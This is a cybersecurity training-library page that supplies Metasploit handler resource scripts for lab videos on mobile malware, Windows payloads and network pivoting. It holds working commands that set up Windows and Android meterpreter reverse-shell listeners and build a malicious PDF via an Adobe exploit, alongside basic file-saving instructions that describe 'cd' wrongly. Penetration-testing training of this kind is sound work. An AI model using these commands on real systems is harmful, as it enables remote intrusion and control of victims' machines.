1. Home
  2. Training Library

Handler.rc Sources

The resource is part of this learning path

Cyber Primer
course-steps
5
description
1

Content

Please find the code used in Handlers for the How To: Mobile Malware, How To: Windows App Payload, and How To: Network Pivot software simulations.

You will need to copy the appropriate text below into a text document editor (such as Leafpad) in the Kali image, and save it as .rc file. This can be done by selecting “Save As” and, after writing the name of the file, writing “.rc” at the end. This should save it as a .rc file. You can check that it has been saved been saved in this format by checking the file location in the terminal.

For example, if you had saved the file to the Desktop, you can check with the following command:

cd Desktop/ (cd means “check directory”; it is then followed by the directory that it wants to check, in this case the Desktop). You should then see that the terminal is followed by “~/Desktop$”. Then enter:

ls

(ls means “List”. This will list the files in this directory, in this case, the directory).

You should now be able to see the list of the files available in this directory, with the filetype at the end. If you saved the file as handler, you should see “handler.rc” in your chosen directory.

For the basic handler used in the Windows App Payload Video:

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.0.2.30

set LPORT 4444

exploit

For the Handler used in the Android Video:

use multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST 10.0.2.30

set LPORT 4444

exploit

For the Handler used in the Network Pivot Video:

use exploit/windows/fileformat/adobe_utilprintf

set FILENAME MaliciousFile.pdf

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 10.0.2.30

set LPORT 4444

exploit

cp /root/.msf4/local/MaliciousFile.pdf /root/Desktop

use multi/handler

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LPORT 4444

set LHOST 10.0.2.30

exploit

description